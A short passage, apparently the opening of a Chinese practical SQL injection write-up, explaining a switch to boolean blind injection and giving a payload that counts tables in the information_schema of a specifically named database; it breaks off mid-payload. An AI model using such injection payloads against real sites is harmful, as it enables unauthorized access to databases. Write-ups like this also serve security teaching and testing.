实战2-注入

主页面无论输入什么都不显示错误，进去下面这个页面，会有报错信息。 联合查询、报错两种方法爆出来的表不完整，，所以用布尔型盲注的方法。   /?id=24 and (select count(table_name) from information_schema.tables where table_schema='u9897uwx_kabel') =22 %23  //22张表 /?id=24 a

>>阅读原文<<